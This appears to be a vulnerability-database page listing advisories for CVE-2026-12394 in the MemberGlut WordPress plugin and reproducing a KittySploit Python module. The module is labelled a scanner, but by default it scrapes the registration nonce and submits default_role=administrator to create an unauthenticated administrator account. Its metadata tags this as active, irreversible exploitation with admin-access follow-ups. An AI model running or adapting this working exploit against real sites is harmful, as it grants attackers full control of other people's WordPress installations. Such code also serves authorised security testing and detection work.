Lucene search
+L

MemberGlut CVE-2026-12394 privilege escalation detect

🗓️ 09 Nov 2026 07:42:09Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 5 Views

Unauthenticated administrator registration in MemberGlut via front-end registration.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2026-12394
27 Jul 202606:00
–attackerkb
circl
Circl
CVE-2026-12394
27 Jul 202617:10
–circl
cve
CVE
CVE-2026-12394
27 Jul 202606:00
–cve
cvelist
Cvelist
CVE-2026-12394 MemberGlut < 1.1.5 - Unauthenticated Privilege Escalation to Administrator
27 Jul 202606:00
–cvelist
euvd
EUVD
EUVD-2026-49066
27 Jul 202606:00
–euvd
kittysploit
KittySploit
MemberGlut CVE-2026-12394 administrator registration
9 Nov 202607:42
–kittysploit
nuclei
Nuclei
WordPress MemberGlut < 1.1.5 - Unauthenticated Privilege Escalation
10 Nov 202602:04
–nuclei
nvd
NVD
CVE-2026-12394
27 Jul 202607:16
–nvd
patchstack
Patchstack
WordPress MemberGlut plugin < 1.1.5 - Unauthenticated Privilege Escalation to Administrator vulnerability
29 Jul 202606:52
–patchstack
ptsecurity
Positive Technologies
PT-2026-64833
27 Jul 202600:00
–ptsecurity
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""MemberGlut < 1.1.5 unauthenticated administrator registration (CVE-2026-12394)."""

import re
import secrets

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.wordpress import Wordpress

_PLUGIN = "memberglut"
_VULN_HIGH = (1, 1, 4)


class Module(Scanner, Http_client, Wordpress):
    __info__ = {
        "name": "MemberGlut CVE-2026-12394 privilege escalation detect",
        "description": (
            "Detects CVE-2026-12394 in MemberGlut WordPress plugin < 1.1.5: front-end registration "
            "accepts default_role=administrator without validation. Confirms register form, version, "
            "and optionally registers a throwaway admin account."
        ),
        "author": ["KittySploit Team"],
        "severity": "critical",
        "cve": "CVE-2026-12394",
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-12394",
            "https://wpscan.com/vulnerability/6b126a3e-30d5-4bed-ba47-33e589ec2852/",
            "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-12394.yaml",
        ],
        "modules": [
            "auxiliary/admin/http/memberglut_cve_2026_12394_admin_register",
        ],
        "tags": [
            "web",
            "scanner",
            "wordpress",
            "memberglut",
            "privesc",
            "unauth",
            "cve-2026-12394",
        ],
        "agent": {
            "risk": "active",
            "effects": ["network_probe", "active_exploitation", "account_creation"],
            "expected_requests": 4,
            "reversible": False,
            "approval_required": True,
            "produces": ["tech_hints", "risk_signals", "exploit_paths"],
            "cost": 1.3,
            "noise": 0.6,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["wordpress", "memberglut"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "admin_access", "from_detail": "administrator registration"},
                ],
                "suggested_followups": [
                    "auxiliary/admin/http/memberglut_cve_2026_12394_admin_register",
                ],
            },
        },
    }

    base_path = OptString("/", "WordPress base path", required=False)
    register_path = OptString("/register/", "MemberGlut registration page path", required=False)
    active_register = OptBool(
        True,
        "Register throwaway administrator to confirm vulnerability",
        required=False,
    )

    _NONCE_RE = re.compile(r'name="register_nonce"\s*value="([a-f0-9]+)"', re.I)

    def _wp_base(self) -> str:
        return self.wp_normalize_base_path(self.base_path or "/")

    def _path(self, suffix: str) -> str:
        base = self._wp_base()
        if not suffix.startswith("/"):
            suffix = "/" + suffix
        return f"{base}{suffix}" if base != "/" else suffix

    def _fetch_register(self):
        path = self._path((self.register_path or "/register/").strip())
        return self.http_request(method="GET", path=path, allow_redirects=True)

    def run(self):
        version = self.wp_plugin_version(_PLUGIN, self._wp_base()) or ""
        if version and not self.wp_version_in_range(version, (0, 0, 0), _VULN_HIGH):
            return False
        page = self._fetch_register()
        if not page or page.status_code != 200:
            return False
        body = page.text or ""
        if "register_nonce" not in body or "memberglut_register" not in body:
            return False
        if not self.active_register:
            self.set_info(
                severity="critical",
                reason="MemberGlut registration surface exposed (version may be < 1.1.5)",
                path=self._path(self.register_path or "/register/"),
                cve="CVE-2026-12394",
            )
            return True
        match = self._NONCE_RE.search(body)
        if not match:
            return False
        nonce = match.group(1)
        user = f"ks{secrets.token_hex(4)}"
        email = f"{user}@example.test"
        password = "Cve12394Test1!"
        reg_path = self._path(self.register_path or "/register/")
        post = self.http_request(
            method="POST",
            path=reg_path,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            data={
                "action": "memberglut_register",
                "register_nonce": nonce,
                "username": user,
                "email": email,
                "password": password,
                "first_name": "a",
                "last_name": "a",
                "default_role": "administrator",
            },
            allow_redirects=False,
        )
        if not post:
            return False
        headers = " ".join(f"{k}:{v}" for k, v in (post.headers or {}).items()).lower()
        if post.status_code not in (302, 200) and "registration_success" not in headers:
            return False
        admin = self.http_request(method="GET", path=self._path("/wp-admin/users.php"), allow_redirects=True)
        if admin and admin.status_code == 200 and "wpbody-content" in (admin.text or "") and "Administrator" in (admin.text or ""):
            self.set_info(
                severity="critical",
                reason=f"MemberGlut CVE-2026-12394 — admin registration succeeded ({user})",
                path=reg_path,
                cve="CVE-2026-12394",
            )
            return True
        self.set_info(
            severity="high",
            reason="MemberGlut registration accepted administrator role parameter",
            path=reg_path,
            cve="CVE-2026-12394",
        )
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Nov 2026 07:42Current
6Medium risk
Vulners AI Score6
CVSS 3.19.8
EPSS0.02071
SSVC
5